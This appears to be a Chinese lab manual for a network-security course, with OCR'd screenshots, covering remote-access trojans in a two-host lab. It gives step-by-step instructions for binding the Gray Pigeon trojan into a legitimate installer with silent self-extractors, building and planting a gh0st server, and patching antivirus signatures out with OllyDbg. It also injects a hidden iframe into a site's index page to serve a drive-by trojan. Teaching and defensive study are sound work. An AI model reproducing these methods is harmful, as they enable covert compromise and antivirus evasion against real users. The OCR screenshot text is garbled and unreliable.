(11) 进入"Finished message"页签,选择"No message"选项,点击"下一步"按钮。

(12)进入"Package Name and Options"页签,填入捆绑后程序路径,文件 名为 superdic.exe。在"Options"选项中选择"Hide File Extracting Progress Animation from User",点击"下一步"按钮。

(13) 进入"Configure restart"页签,选择"No restart"选项,点击"下

一步"按钮。

(14) 进入"Save Self Extraction Directive"页签,选择"Don't save" 选项,点击"下一步"按钮。

(15) 进入"Create package"页签,点击"下一步"按钮,完成操作。生成捆 绑完成的文件"superdic.exe"(与被捆绑的软件名称一致)。

(16) 主机 A 将"superdic. exe"发送到主机 B 的文件夹 D:\work。观察灰鸽 子控制端,等待上线主机出现。

(17) 主机 B 进入实验平台,双击运行 D:\work\ "superdic.exe"。

(18) 主机 A 发现上线主机, 对主机 B 进行控制。

😼 Setup. exe	2016/11/25 11:27	应用程序
🔄 superdic. exe	2016/11/25 11:31	应用程序
卖灰鸽子Vip1.23无壳破解版.exe	2015/12/25 13:10	应用程序

回答问题: 当控制目标主机后,下面哪个说法是正确的? ABCD

A. 可以查看目标主机的文件目录

B. 查看目标主机文件

C. 将目标主机文件下载到本地

D. 删除目标主机的文件

(19) 主机 A 使用"灰鸽子远程控制"程序卸载木马的"服务器"程序。选择"命令广播",勾选"上线主机",单击"卸载灰鸽子"按钮,卸载木马的"服务器"程序。

- ober are the	
🕞 Setup. exe	2016/
🔄 superdic. exe	2016/
🚡 superdíc. sfx. exe	2016/

**回答问题:**卸载灰鸽子后,目标主机再次双击运行 D:\work\ "superdic.exe" 后,是否能够再次控制目标主机? B

A. 能

B. 不能

主机 A 与主机 B 同学互换角色再做一遍,分别把自己操作的结果截图,将 该图片上传。

	<ul> <li>● 次為子运業管理</li> <li>→ (本) 没要(c) 工</li> </ul>	Ver 1.23 英信 月(17) 帮助 00	394本地歐解版 172	16. 29. 7	ı		00	
			A	<b>*</b>		11E		
1	自动上线 捕获屏	<b>昇</b> 幕 视频监控	Telnet 配置	服务程序	最小化	退出		
回收站	当前连接: HOST3A		电脑名称: HOST3A	连接:	密码:		保存	(保存) 独来 審社 (保存) 独来 審社 (定) (定) (定) (定) (定) (定) (定) (定) (定) (定)
	搜索内容:		自动上线主机	○ 搜索	吉果: 显示	搜索结果 ◇	搜索	)
1	文件管理器 远程控制	命令 注册表编辑	器命令广播	2013正式版         11/2.15.29.77         ● 課業結果:         ● 課業         ● 課         ● 課         ● 課         ● 課         ● ● ● ● ● ●				
Internet	(主机IP地址	〔地理位置	〔系统版本	〕电脑名称	〔上线时间	【服务端版本	(备注	
1001210128	172, 16, 29, 76		Windows Ser	HOST3A	21:26:02	Ver1.23-0309		
					1			
服务端程序								
363								
	常用命令广播 消息厂	「播」筛选符合条件	#主机   批量修改备注	1				
aupardu e ana							10 1000	
	全部选中	关闭计1	算机 打开	刘页:			友法	
	知费友鸽子	重白计1	下载	7件:			友法	
				(件下載完成	后自动运行	下載文件为	插件	
	1条卸载命令广播完成	1			~	Press aller		Ver 2003
	有主机上线了! 21:26	:02				团结	五月	2
		10个3	对象 当前路径: ]	:\Work\	×.	le	动上线:1台	
	U.							
				<b>3 3</b>	500			

# 步骤 2、 利用 WinRAR 进行木马安装程序的捆绑

(1)将木马安装程序和捆绑软件(superdic.exe)复制到同一目录下,并同时选中,点击右键,在弹出选项中选择"添加到压缩文件",进入压缩文件设置界面。

(2) 修改"压缩文件名"为"superdic.rar","压缩选项"中选择"创建自解压格式压缩文件"。

(3)进入"高级"页签,点击"自解压选项"按钮,弹出"高级自解压选项",设置"解压路径"为"在当前文件夹中创建"。分别在"安装程序"的"解压后运行"栏和"解压前运行"栏中填入木马安装程序和捆绑软件(superdic.exe)。

(4)进入"模式"页签,"安静模式"选择"全部隐藏",进入"更新"页签,"覆 盖方式"选择"覆盖所有文件",点击"确定"保存设置。

(5) 点击"确定"完成文件的压缩。得到压缩文件"superdic.sfx.exe"。

(6) 主机 A 将"superdic. sfx. exe"发给主机 B,观察灰鸽子控制端,等待上线主机出现。

(7) 主机 B 运行"superdic.sfx.exe"。

(8) 主机 A 发现上线主机,对主机 B 进行控制。

「注」在本实验中,可以通过对木马服务程序的配置,使木马安装程序执行 后即销毁,使得主机 B 只能看见 superdic. exe 和 superdic. sfx. exe 在运行, 而对木马的安装毫无察觉。 **回答问题:** 运行 superdic. sfx. exe 文件后解压,可以看到下面哪些文件?

(AB)

A. 木马安装程序. exe

B. superdic. exe

C. superdic. rar

D.木马安装程序.txt

主机 A 与主机 B 同学互换角色再做一遍,分别把自己操作的结果截图,将 该图片上传。

我的电脑 018-0	5-15 21:36:25	()
<b>V</b>	飞秋2013正式版         ×           ● ● 灰勢子運程管理         Yer 1.23 英格纳环境感解液 172.15.29.77         ● ● ○	V
网上邻居	文件 (2) 设置 (3) 工具 (2) 帮助 (3) 😵 🛃 🛷 😽 🔢	► F
国收站	自动上线 捕获屏幕 视频监控 Telnet 配置服务程序 最小化 退出     当前连接: HOST3A   电脑名称: HOST3A     连接密码:   保存	
<u>e</u>	投索内容: 目动上线主机 ○ 投索结果:显示提案结果 ○ 教条 文件管理器 法程控制命令 注册表编辑器 命令广播	1
Internet Explorer	文件目录浏览	-
Sava ac	<ul> <li>□-提 HOTTA (公M]</li> <li>● 符合条件主机</li> </ul>	-
-		
superdue are		
angardi.	1条珂载命令广播完成!	<b>ver</b> 2003
	有主机上线了! 21:33:36 ▼  ■  UIGE 21  DE C UI	
🛃 开始 🕑 🧶 🏙 灰鋼	3子近程管理 🥪 Administrator OEDST3A)	5 🖉 🖏 🕲 🕜 21:36

gh0st 木马

本实验2人一组,首先虚拟机得允许远程访问。(右键我的电脑-)属性->远程,把"启用这台计算机上的远程桌面"画上勾。)

# 步骤 1、 配置 gh0st 服务端

(1) 点击开始->设置->控制面板->管理工具->Internet 信息服务(IIS)管理器。

点击 Internet 信息服务->HDST3A->网站->默认网站,点击鼠标右键停止。 释放 80 端口。

(2) 主机 A 点击 VStart 工具集->网络攻防->gh0st.exe,在左下角显示本机 IP,右下角显示本程序所监听的端口,如图 1 所示:



点击左下角的"Settings"进入到服务器配置界面,其中包括"监听端口"和"上线字串"等主要内容,如图2所示:

部間直	80 连接上网	8000 「自动	应用	一 禁用上线时气泡提示	
线特征码				P	
线主机	172, 16. 0. 42	端口 80	现试	「 保存当前为默认配置	
理主机		端口	10FD	「使用socks5代理上线	03
月戶名		會興		- 需要就任 阅试	
线宇串		AAAArtSzys	31va+9s7Gpp6	+ EAAAA	
統提示					_
有找到IP数	据库文件QQWry_Dat	诸格此文件放至本程序制	司目录下以显示	示服务端地理位置	

输入 IP 地址以及端口号,点击"测试",检测端口是否可用,如图 3 所

系統配百 招听講口	80 注接上限	8000	「自动	应用	厂 禁用上线时气	泡提示
上线特征码 上线主机	172. 16. 0. 42	端口	80	则试	厂 保存当前为默	认配置
代理主机		-	端口。	1080	厂使用socks5代	理上线
用户名	gh0st			-	-	X
上线字串	-	成功打	开到主机172	. 16.0.42的	<b>主援, 在端口 80</b>	连接成功
系统提示	-	2	-			

将图 2 中所票出的"上线字串"中的字符串复制到"Bulid"中的"域名上 线字串"中,并在"服务显示名称"中填入自定义的服务,也可随意添加服务描述。如图 4 所示:



请同学们把生成的 server. exe 截图,并上传。 し 6电向 018 3 推索结果 - 0 × 文件(E) 编辑(E) 查看(V) 收藏(A) 工具(E) 帮助出 . 🕒 后退 👻 🌖 🛪 🍞 🔎 搜索 🌔 文件夹 📗 🛨 地址m) To water and the set 💌 🔁 转到 - 0 × 服务端生成 2 HTTP上线网址 http://ww [ 启用 域名上线字串 AAAArrSxva81vbGmvaenqaevnw==AAAA 服务显示名称 Microsoft ChOst × b更新设备驱动 3 (文件保存成功,诸用加壳软件进行压缩一:) Internet Explorer ₩ 2 装在一台主机上 !!! 生成服务端 注意:域 - C.Rufus Security Team Powered by CoolDiver @ C. Rufus Security leam 05/19/2008 http://www.xcodez. ₩E:\ 文件(E) 编辑(E) 查看(Y) 收藏(A) 工具(E) 帮助(H) 🔾 后退 🔹 🔿 🔹 🍞 🔎 搜索 🔿 文件夹 🛛 🛄 🗸 地址(四) 🥪 E: \ - ラ 转到 大小 类型 110 KB 应用程序 修改日期 |属性 名称 Server. exe 文件和文件夹任务 2018-5-15 21:44 A 👩 创建一个新文件夹 203 其它位置 🔰 我的电脑 我的文档 🧃 网上邻居 ¥ 详细信息 🕤 Internet 信息服务 (I. . 2 搜索结果 GhOst RAT Beta 3.6 开始 S E: \ 5 🛃 🐌 🕜 21:44

# 步骤 2、 模拟中马情况

主机 A 点击"开始"-> "运行"->输入"mstsc",进入到了远程桌面连接服务,输入目标 IP 地址,打开选项,如下图所示:

<b>远程桌</b> 面	n连接	
2	上皇京 重接	
常规	記示  本地资源 程序  高級  安	£
一登录设置	置 键入计算机名,或者从下拉列表中选择-	一台计算机。
	计算机 (C): 192.168.1.3	•
	用户名 (U): Administrator	
	密码(E):	
	域(型): 「 伊友繁顯(A)	
一连接设置		
	保存当前设置,或者打开已保存的连接。	F(g)
		00 ( <u>1890) (</u>
选择"本地资源"	,勾选"磁盘驱动器",所图	6所示:
<b>。</b> 远程桌面	连接	
23	経験面	
常规 显	示 本地资源 程序 ) 高级   安	£
一远程计算	机声音(2)	
	常到这台计算机	
一键盘 (2)	应用 Windows 键组合 (例如,ALT+TAB)	
	只用全屏模式	-
本地设备	登录到远程计算机时自动连接到以下本	5地设备:
N	<ul> <li>✓ 磁盘驱动器 (0)</li> <li>✓ 打印机 (1)</li> <li>□ 串行口 (3)</li> </ul>	
	连接 (2) 取消 帮助	2013 (选项页) <<

选择"常规",输入服务器管理密码"jlcssadmin",并且进行连接,连接主机 B。

连接成功后,因为我们已经把我们主机 A 的硬盘资源映射到了主机 B,所 以我们可以将生成好的服务端程序拷贝到主机 B 的桌面上,如图 7 所示:

	(1)(1)(1)(1)(1)(1)(1)(1)(1)(1)(1)(1)(1)(	(2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1	1.40		
ania (		金融(四) 工具(四) 市政	100		
		L XITX III*			- State
	NEW CO BY SCHOLENE	友務	一米利	8+41	一世 日本学 しまた
居	系统任务 💈	硬盘		1.00,001	利用工用工業工
	◎ 查看系统信息 参加/期除程序 ● 使更改一个设置	→本地磁盘 (C.) →本地磁盘 (C.) →本地磁盘 (C.)	本地磁盘 本地磁盘 本地磁盘	19.0 GB 10 5 GB 9.99 GB	12, 7 - GB 8, 65 - GB 9, 93 - GB
5	其它位置 ※	阿格驱动器 金 <sup>*</sup> vmware=host <sup>*</sup>	断开网络驱动器		
at. er	● 网上邻居 ● 我的文档 ● 控制面板	其他 Mosta 上的 d Mosta 上的 e	系统文件夹 系统文件夹		运程桌面连接的 远程桌面连接的
	详细信息 *	ARISTSA LEISI C	承巯又忤类		(基础集团)主接的。
	IIDST3A 上的 C 系统文件夹				
vice					~~
	7 个对象				我的理题
				. 0	

主机 A 将服务端程序拷贝到主机 B 上后,双击运行该服务端程序,程序运行之后,我们会发现程序自动删除,说明服务端程序配置成功,如图 8 所示:

	and the log a subtomes LEN L				1
郑后	名称 -	大小	类型	修改日期	属性
	ADFS		文件夹	2015-11-26 13:04	
	Documents and Settings		文件夹	2013-3-29 19:06	
1	🔂 drivers		文件夹	2015-11-18 14:53	
r tak	Elcomsoft Password Reco		文件夹	2015-11-25 19:17	
	Foxmail 7.2		文件夹	2015-12-8 14:36	
	<b>I</b> 386		文件夹	2013-4-1 3:27	
2	🔁 Program Files		文件夹	2015-12-15 10:31	R
	WINDOWS .		文件夹	2015-12-15 9:44	
	🛅 wmpub		文件夹	2013-3-29 18:54	
rer	☐ 实验工具集		文件夹	2015-11-26 14:05	
	🖼 1. cer	72 KB	安全证书	2015-11-27 9:55	A
	TAUTOEXEC. BAT	0 KB	Windows 批处理文件	2013-3-29 18:52	A
	CONFIG. SYS	0 KB	系统文件	2013-3-29 18:52	A
站	🔊 gna. dll	485 KB	应用程序扩展	2015-11-25 19:14	A
	server. exe	110 KB	应用程序	2015-12-15 13:25	A
server exe					

# 步骤 3、Gh0st 的简单应用

服务端程序运行成功后,主机 A 在"Connections"会自动上线,如图 11 所示:



主机 A 右键单击"文件管理",即可进入到文件管理界面,上方为本地资源,下方为远程资源。点击下方的 C 盘盘符,即可进入到对方 C 盘下的目录。如图 14 所示:

	1172.16	. 0. 40 - 文	件管理				
1	本地		• • •	• 9	回家		•
	S.P	-	-				
	C.1	D:A	E: \				
		5					
	1749 Jour				15159	- 24   1220	- A
	YRE IC. I			-	1 LH 7A	1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	- 1000
		0			$\square$		
		Config. Msi	DiskGeni	Documents and Se.	Inetpub	Program Files	Python32
	2	n			2	27	3
	RECTCLER	SUD WW	System Volume T	tools	WINDOWS	wmpub	AUTOEXEC.
Ì	*1		FOLGHE L.I.				تد لــــــــــــــــــــــــــــــــــــ
i							1

可以进行文件的复制、删除等操作。

#### 步骤 4、 gh0st 木马简单分析

主机 A 右键单击远程终端, 输入"ipconfig"即可查看主机 B 的 IP 地址, 如图 15 所示:



输入命令"netstat -no",查看当前网络连接,可知在 80 端口进行通信的进程 ID 为"832"。如图所示:

T	RAN		LAK	计算机名/基注	操作系统		CPU	Fing	摄像头	
0	172, 16.	0,40	172, 16, 0, 40	Host34	2003 SP1	Guild	2100MHz	16	+	
1	··· \\172.	16.0.40	- 远程终端						_	
	C:\WINDOW ipconfig	S\system3	27ipconfig							
	Windows I	P Confis	ration							
	Ethernet	ndaptor 3	地连接							
	Connec IF Add Subnet Defaul	tion-spec ress. Mask t Gateway	ific DNS Suff	fix openstackl. 172,16.0.4 255,255,255 172.16.0.1	ocel 0 5.0					
Conn 12.11	C:\WINDOW netstat-n 'netstat- 或批处理S	Slsysten3 。 no'不是D Z件。	2)netstat-ne )部成外部命令	,也不是可运行的程	ŝ					
	C:\WINDOW netstat -	Slsystem3 no	2>netstat -ne	5						
	Active Co	nnections								
	Proto TCP TCP TCP TCP TCP	Local Add 172, 16. 0. 172, 16. 0. 172, 16. 0. 172, 16. 0.	ress 40:1041 40:1042 40:1043 40:3389	Foreign Address 172 16 0 42:80 172 16 0 42:80 172 16 0 42:80 172 16 0 42:80 172 16 0 42:1034	State ESTABLIS ESTABLIS ESTABLIS ESTABLIS	PII HED 832 HED 832 HED 835 HED 176	8			
	C \WINDOW	S\system3	24							
	art.									- 1

输入命令"net start",查看主机 B 系统所开起的服务。 请主机 B 把自己的命令行执行"net start"的结果截图,并上传。

(实验过程中自定义的服务显示名称为 Microsoft,故在主机 B 运行命令 net start 查看 B 系统开启的服务有 Microsoft)



**回答问题:** 大多数特洛伊木马包含客户端和服务器端两个部分,也就是说,木 马其实是一个 C/S 结构的程序。 ( A )

A. 正确

B. 错误

**回答问题:** 与客户端进行通信的进程在 ( A )

A. 主机 A: C: \tools\网络攻防工具集\gh0st\server.exe

B. 主机 A: C: \Windows\SysWOW64\svchost.exe

C. 主机 B: C: \User\Administrator\Desktop\server.exe

D. 主机 B: C: \Windows\SysWOW64\svchost.exe

木马免杀

本实验主机 A、B 为一组, C、D 为一组, E、F 为一组。

#### 步骤1、 定位特征码

下面我们将利用"MyCCL"的复合定位功能来完成对特征码的定位。

(1)单击 Vstart 工具集->网络攻防中的"灰鸽子"按钮,打开灰鸽子控制端,配置木马安装程序,将木马安装程序生成至桌面。

(2)单击 Vstart 工具集->网络攻防中的"MyCCL"按钮,打开 MyCCL。点击"文件"按钮,选择生成木马安装程序"Server\_Setup.exe"。在"开始位置"填入程序的起始位置"00000400",分块个数中填入"100",其它选择默认,此时单位长度为 7603。点击"生成"按钮,弹出"Confirm"提示框选择"Yes",生成"OUTPUT"文件夹。

进入 OUTPUT 文件夹,我们可以看到由原木马程序衍生出的 100 个程序,每 个程序的命名规则为"序号(十六进制)\_填充 0 的起始物理地址\_填充长度"。 使用 UltraEdit 打开"000A\_00012CFE\_00001DB3",观察其 0 填充区首地址为 0x00014AB1H;同样打开"000B\_00014AB1\_00001DB3",观察 0 填充区首地址为 0x00016864H。计算两个文件 0 填充区首地址差值 0x1DB3,是否与单位长度 一致 是。(字母大写)

(3) 单击 Vstart 工具集->网络攻防中的"avgas" 按钮,打开杀毒软件。 右键点击 OUTPUT 文件夹,在弹出菜单中选择"用 AVG Anti-Spyware 扫描"进行 查杀。查杀结束后,点击"应用所有操作"按钮,清除病毒。打开 OUTPUT 文件 夹,发现"0052\_00098756\_00001DB3"后的程序已经被删除,共计 17 个。

注:如果 avgas 工具不能用,请先到 D:\ExpNIC\NetAD\Tools\AVG\_AntiSpyware 中先运行下 StartAVG.vbs。 (4) 点击"MyCCL"中"二次处理"按钮,重新对生成文件进行分析,MyCCL 会提示文件 0009A509\_00001DB3 出现特征码。打开 OUTPUT 文件夹,使用 UltraEdit 查看序 号为"0053"后的程序,会发现每个程序从 0009A509 开始,长度为 00001DB3 均 被 0 填充。

(5)再次对"OUTPUT"文件夹进行病毒查杀,此时杀毒软件提示没有病毒,证明除了被填充0区段含有特征码,其它位置已无特征码。

(6) MyCCL 再次进行二次处理,这时会产生特征码分布示意图,证明含有特征码的区段已经定位完毕。

(7)点击"特征区间"按钮,打开"填充/特征码 区间设定"页签。[特征]0009A509\_00001DB3 即为特征码的位置区间,选择[特征]0009A509\_00001DB3,点击右键,选择"复合定位此处特征",回到 MyCCL 主界面,再次设定分块个数为100,点击"生成"按钮。重新生成 OUTPUT 文件夹,对 OUTPUT 文件夹进行病毒查杀。

(8) 查杀完成后,清除病毒,再次进行 MyCCL 的二次处理。再次对 OUTPUT 进行病毒查杀。MyCCL 再次进行二次处理,这时会产生特征码分布示意 图,证明含有特征码的模块已经定位完毕,其它位置无特征码。

(9)选择[特征]0009B985\_000004C,点击右键,选择"复合定位此处特征",回到 MyCCL 主界面,设定分块个数为 38,点击"生成"按钮。重新生成 OUTPUT 文件夹,对 OUTPUT 文件夹进行病毒查杀。

(10)对 OUTPUT 文件夹进行病毒查杀,直到定位完毕,步骤和前面相同。 得到[特征]0009B9C3 0000002即为特征码的精确位置,如图1所示。



#### 步骤 2、 修改特征码

(1)关闭 Mycc1,单击 Vstart 工具集->网络攻防中的"0C"按钮,使用工具 0C 将定位到特征码的物理地址 0009B9C3 转换为内存地址。

(2) 关闭 0C, 点击工具集下的病毒攻防下"011ydbg"按钮, 打开 011ydbg, 依次点击"文件"|"打开"选择木马安装程序"Server\_setup"。

(3)通过操作"Ctrl+G" | "内存地址" | "确定",找到特征码地址(内存地址),如图2所示。

地址	ΉEΧ	数据	反汇编
00490503	?	E4 EF	IN_AL, OEF
00490505	?	FFFF	???

#### 图 2 定位特征码

滚动鼠标滑轮,自动归位到指令首址 0049C5C1,内容为"MOV EAX,DWORD PTR SS:[EBP-101C]"(特征码包含在该段指令中)。

(4) 在程序的最下方找到一段"00" 空白区,本练习以 004A21E4 为例。

单击鼠标右键,选择"汇编",在弹出窗口填入特征码段内容"MOV EAX,DWORD PTR SS:[EBP-101C]",点击"汇编"保存设置。此时会自动跳至下一 地址进行编辑,输入"jmp 0049C5C7"跳转到代码"MOV EAX,DWORD PTR SS:[EBP-101C]"的下一个地址。

(5)返回到0049C5C1处,右键点击代码,选择汇编,写入跳转指令"jmp 004A21E4"。

右键点击空白处,依次选择"复制到可执行文件"|"所有修改"|"全部复

制",在弹出界面空白处点击右键,选择"保存文件",文件名称为 "Setup.exe",退出 011ydbg。

(6) 对"Setup. exe"进行扫描,若杀毒软件查杀不到,则证明免杀成功。

(7)将免杀好的木马安装程序"Setup.exe"发给同组主机。同组主机运行 Setup.exe。本机打开木马控制端,等待上线主机出现。上线主机出现,则说 明木马安装成功。

**回答问题:**特征码修改主要包括哪种方法? (ABC)

A 直接修改法

B 间接修改法

C 跳转修改法

# 木马删除

本任务建立在任务一(网页木马,每组2人)的基础上,在完成木马的植入后按以下步骤进行操作。

#### 步骤1、自动删除

主机 A 通过使用"灰鸽子远程控制"程序卸载木马的"服务器"程序。具体做法:选择上线主机,单击"远程控制命令"属性页,选中"系统操作"属性页,单击界面右侧的"卸载服务端"按钮,卸载木马的"服务器"程序。 请把结果截图并上传:

我的电脑	-05-16 10:18:17	VStart 5月16日 星期三 10: 👭 💌 (0)
	2020日本	Public Public
	inder. btal - 记事本	2191月 11日 11日 11日 11日 11日 11日 11日 11日 11日 1
网上邻居	[[[]] ● ◎ 茨焼子福屋管理 Yer 1.23 英数据本地容示版 172.16.29.122	
		Hash算法上具
		AES加解密工具
回权站	t 地址 自动上线 捕获屏幕 视频监控 Telnet 配置服务程序 最小化 退出	💼 維吉尼亚加解密工具
	当前连接: HOST3A 电脑名称: HOST3A 连接密码:	是 DES加解密工具
		Crypt
Internet		💻 Monitor
Explorer		
	Image: Section 10:05:14 Ver1.23-0309	
	2 書告	
	(C ) 你确认要删除所有选中的远程服务端程序吗?删除后你将无法控制远程主机了!	
	全部选中 关闭计算机 打开网页:	
	(/ 「「 下載文件:	
	卸载灰鸽子 重启计算机 ✓ 文件下载完成后自动运行 下载文件为插	
		PM44-5000 病毒政防
	(1 命令发送完毕)清等待主机回应,10:08:17 ヘ	信息隐藏
1		社会工程学
	如此一些一些一些一些一些一些一些一些一些一些一些一些一些一些一些一些一些一些一些	无线安全
		□ 类别 👼 📬 💁
		🕅 菜单 🤌 🗲 🛷 📬   🌺
16	o 小时便	
	10.03.40	王帝历代
2 开始 🕜 🥭 🧯	□ C:\tools\网络攻防 ] 搜索结果 □ D:\ExpHIC\Common\W   最 灰鸽子远程管理	📄 index. html - 记事本 💧 🛃 🗞 🕜 10:18

# 步骤2、 手动删除

(1) 主机 B 启动 IE 浏览器,单击菜单栏"工具" | "Internet 选项",弹出 "Internet 选项"配置对话框,单击"删除文件"按钮,在弹出的"删除文件"对话 框中,选中"删除所有脱机内容"复选框,单击"确定"按钮直到完成。

In*=vnet 進現		? ×
よる無除 Intarnet (編明 您也可以最除本地存錄的 ▽ 服除所有脱机内容①) 環	文件共中的所有内容? 所有脱机内容。 定 取消 目空白页 @	
Internet (納文)件 所產者的 Internet 提高以后词说的速度 删除 Cookies (1)	页存储在特定的文件夹中,这样可以 • 	
历史记录 "Austory"文件共年 速访问最近查看过的 同页保存在历史记录中的	中包含有已达闷页的链接,可使用户 页。 天教 (D): 20 一 油除历史记录 (	\$
颜色 (Q) 字体 (g)	· · · · · · · · · · · · · · · · · · ·	)
		CO III

(2) 双击"我的电脑",在浏览器中单击"工具" |"文件夹选项"菜单项,单击 "查看"属性页,选中"显示所有文件和文件夹",并将"隐藏受保护的操作系统文件"复选框置为不选中状态,单击"确定"按钮。



(3)关闭已打开的 Web 页, 启动"Windows 任务管理器"。单击"进程"属性 页, 在"映像名称"中选中所有"IEXPLORE. EXE"进程,单击"结束进程"按钮。

(4) 删除"C:\Widnows\Utility Mang.exe" 文件。

(5) 启动"服务"管理器(点击开始|程序|管理工具|服务选项)。选中右侧详 细列表中的"Utility Mangserver"条目,单击右键,在弹出菜单中选中"属性" 菜单项,在弹出的对话框中,将"启动类型"改为"禁用",单击"确定"按钮。

(6) 启动注册表编辑器, 删除

"HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\Utility Mangserver"节点。

(7) 重新启动计算机。

(8) 主机 A 如果还没卸载灰鸽子程序,可打开查看自动上线主机,已经不存在了。

请把不存在的现象截图并上传:



回答问题:木马通常隐藏自己的方法都有哪些? D

- A 自动运行服务端
- B 修改注册表
- C 启动组
- D 以上都是

# 木马生成、植入功能

本练习主机 A、B 为一组, C、D 为一组, E、F 为一组。实验角色说明如下:

实验主机	实验角色	
主机 A、C、E	木马控制端(木马客户端)	
主机B、D、F	木马被控端(木马服务器)	

下面以主机 A、B 为例,说明实验步骤。 首先使用"快照 X"恢复 Windows 系统环境。

#### 步骤1、 木马生成与植入

在进行本实验步骤之前,我们再来阐述一下用户主机通过访问被"挂马"的网站而被植入木马的过程,便于同学们理解和完成实验。

①用户访问被"挂马"的网站主页。(此网站是安全的)

②"挂马"网站主页中的<iframe>代码链接一个网址(即一个网页木马), 使用户主机自动访问网页木马。(通过把<iframe>设置成不可见的,使用户无 法察觉到这个过程)

③网页木马在得到用户连接后,自动发送安装程序给用户。

④如果用户主机存在 MS06014 漏洞,则自动下载木马安装程序并在后台运行。

⑤木马安装成功后,木马服务端定时监测控制端是否存在,发现控制端上 线后立即弹出端口主动连接控制端打开的被动端口。

⑥客户端收到连接请求,建立连接。

(1) 生成网页木马

①主机 A 右键"我的电脑"->"管理"->"服务和应用程序"->"服务",检查 Kingsoft Uplive Service 服务是否为停止状态,如服务已经启动,将其停止。

②主机 A 首先通过 Internet 信息服务(IIS)管理器启动"木马网站"。

③主机 A 点击"Vstart 工具集->网络攻防"中的灰鸽子工具,运行灰鸽子远程监控木马程序。

④主机 A 生成木马的"服务器程序"。

主机 A 单击木马操作界面工具栏"配置服务程序"按钮,弹出"服务器配置" 对话框,单击"自动上线设置"属性页,在"IP 通知 http 访问地址、DNS 解析域名 或固定 IP"文本框中输入本机 IP 地址,在"保存路径"文本框中输入

"D:\ExpNIC\Common\Web\木马网站\Server\_Setup.exe",单击"生成服务器"按钮,生成木马"服务器程序"。

⑤主机 A 编写生成网页木马的脚本。

在桌面建立一个"Trojan.txt"文档,打开"Trojan.txt",将实验原理中 网马脚本写入,并将第15行"主机 IP 地址"替换成主机 A 的 IP 地址。

把"Trojan.txt"文件扩展名改为".htm",生成"Trojan.htm"。

「注」D:\ExpNIC\NetAD\Projects\Trojan\Trojan.htm 文件提供了 VB 脚本源码。将生成的"Trojan.htm"文件保存到"D:\ExpNIC\Common\Web\木马网站"目录下("D:\ExpNIC\Common\Web\木马网站"为"木马网站"的网站空间目录),"Trojan.htm"文件就是网页木马程序。

(2) 完成对默认网站的"挂马"过程

①主机A进入目录"D:\ExpNIC\Common\Web\wwwroot",使用记事本打开 "index.html"文件。

("默认网站"的网站空间目录为"D:\ExpNIC\Common\Web\wwwroot",主页为"index.html")

②对"index.html"进行编辑。在代码的底部加上<iframe>语句,实现从此 网页对网页木马的链接。

#### (iframe src="http://172.16.0.105:9090/Trojan.htm" name="yuxin" width=0 height=0 frameborder=0>

(3) 木马的植入

①主机 B 设置监控。

启动 WireShark, 捕获主机 A 与主机 B 之间的数据

选择使用捕获的网卡,开始捕获数据包。

主机 B 启动 IE 浏览器,访问"http://主机 A 的 IP 地址"。

②主机 A 等待"灰鸽子远程控制"程序主界面的"文件管理器"属性页中"文件目录浏览"树中出现"自动上线主机"时通知主机 B。

③主机 B 查看捕获的信息,找出 GET 请求的信息。

将捕获信息进行截图并上传:

NNN

File							
	<u>E</u> dit <u>V</u> iew <u>G</u> o	Capture Analyze Stati	stics Telephony Tools	Help			
		IBBX28	0, 🗢 📦 🚡	21		· · ·	
Filt	er:			Expres	sion Clear Apply		
No.	Time	Source	Destination	Protoc	Info	<u> </u>	
	575 111.430070	Ta:16:3e:24:70:00	Broadcast	ARP	who has 172.16.0.2?		
	582 115.650409	9 fa:16:3e:04:62:4d	Broadcast	ARP	Who has 172.16.0.2?	Tell 1/	
	583 121.967392	2 Ta:16:3e:09:T2:40	Broadcast	ARP	who has 1/2.16.0.2?	Tell 1/	- 15 XHZ
	584 121,989494	ta:16:3e:9a:80:19	Broadcast	ARP	Who has 1/2.16.0.2?	Tell 1/	二 🔽 校判
	2 0.002166	Ta:10:36:09:01:05	Ta:16:30:343	ARP	172.10.29.148 15 at	Ta:10:36	
	570 86.801503	1/2.16.0.2	1/2.16.29.14/	DNS	standard query resp	onse, Ret	-30
	569 86.80038/	172.16.29.147	1/2.16.0.2	DNS	Standard query A ti	me.window	-30
	572 86.802199	1/2.16.0.2	1/2.16.29.14/	DNS	standard query resp	onse, ker	-30
	11 0 110694	172.16.29.147	172.16.0.2	DNS	Standard query A ti	me.window	30 1
	11 0.112684	172.16.29.147	172.16.29.148	HITP	GET / Index_T1Tes/pa	gerror.g	1 谜接 "
	6 0.003556	172.16.29.147	1/2.16.29.148	HITP	GET / HTTP/1.1	and the second to	- · · · · ·
	10 0.104341	172.16.29.148	1/2.10.29.147	HITP	HTTP/1.1 200 OK (t	ext/ntml,	
	15 0.119462	172.16.29.148	172.16.29.147	HITP	HTTP/1.1 200 OK (G	1F89a)	
	309 U.233342	172.10.29.148	172.10.29.147	TCP	websm > ams [ACK] S	eq=429302	
	38/ U.233313	172.10.29.148	172.10.29.147	TCP	websm > ams [PSH, A	CKJ Seq=4	
1						2	
⊞ Fr	ame 11: 385 b	oytes on wire (3080	bits), 385 bytes ca	ptured	(3080 bits)		
Et Et	hernet II, Sr	<pre>`C: fa:16:3e:9a:a3:5</pre>	1 (fa:16:3e:9a:a3:5	i1), Dst	:: fa:16:3e:09:61:d5	(†a:16:34	
+ Ir	nternet Protoc	ol, Src: 172.16.29.	147 (172,16,29,147)	, Dst:	172.16.29.148 (172.1	6.29.148	
∃ Tr	ansmission Co	ontrol Protocol, Sro	: Port: nsstp (1036)	), DSt F	Port: http (80), Seq:	514, ACK	
IFI HX	mentext Trans	ster Protocol		-		- F	200
							200
0000	Ta 16 3e 09	61 d5 ta 16 3e 9a	a3 51 08 00 45 00	>.a	>QE.		
0010	1d 94 04 0c	00 50 c1 50 08 6f	87 28 Of 4c 50 18	. 5. #9	P.P. 0. (.1P.		
0030	fa ee 20 16	00 00 47 45 54 20	2f 69 6e 64 65 78		.GE T /index		
0040	5f 66 69 6c	65 73 2f 70 61 67	65 72 72 6f 72 2e	_file	s/p agerror.		
	AT AD AA TO	AQ 64 64 60 5+ 51	75 71 64 65 41 67	Maxhad:	TTD /1 1 Ar		
K	eu nat. Aive capt	cure in progress/ rim   re	ackets, obi Dispiayed, 591	marked:	o fronte, perault		

# 步骤2、 木马功能

(1) 文件管理

